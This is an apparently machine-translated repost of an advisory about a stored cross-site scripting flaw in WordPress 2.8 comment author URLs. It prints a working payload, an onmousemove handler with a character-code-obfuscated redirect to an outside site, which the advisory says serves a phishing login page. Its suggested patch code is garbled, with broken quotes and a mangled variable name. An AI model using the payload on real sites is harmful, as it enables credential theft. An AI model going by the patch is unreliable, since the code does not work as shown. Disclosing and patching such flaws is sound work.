Wordpress 2.8 All Version Xss 0DAY

Source: Internet
Author: User
Tags wordpress login wordpress login page

From: vul. kr

It had been published that wordpress 2.8 All version are suffering from Xss, attackers can use this to do fishing, they make a wordpress login page as it is your own. if you don't take care, your password will be sent to the attacker's website. with your password, they can edit pages and upload webshell. it is harmful.

How is the attacker do this?
They insert website url like this (in the comments write place ):

Http://www.bkjia.com 'onmousemove = 'location. href = String. fromCharCode (104,116,116,112, 58,47, 47,119,119,119, 46,118,117,108, 46,107,114, 47,63, 112,61, 53,54, 57 );

If someone (or administrator) moved his mouse on the author's website. It will jump to another URL, which is a fishing page.

How can we patch it? Edit wp-comments-post.php go line 40 and then add:

$ Comment_author_url = str_replace (chr (39), ", $ comment_author_url );
$ Comment_author_url = str_replace (chr (59), ", $ comment_author_url );
$ Comment_author_url = str_replace (chr (44), ", $ comment_author_url );

 




Webmasters, please patch it as soon as you can.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.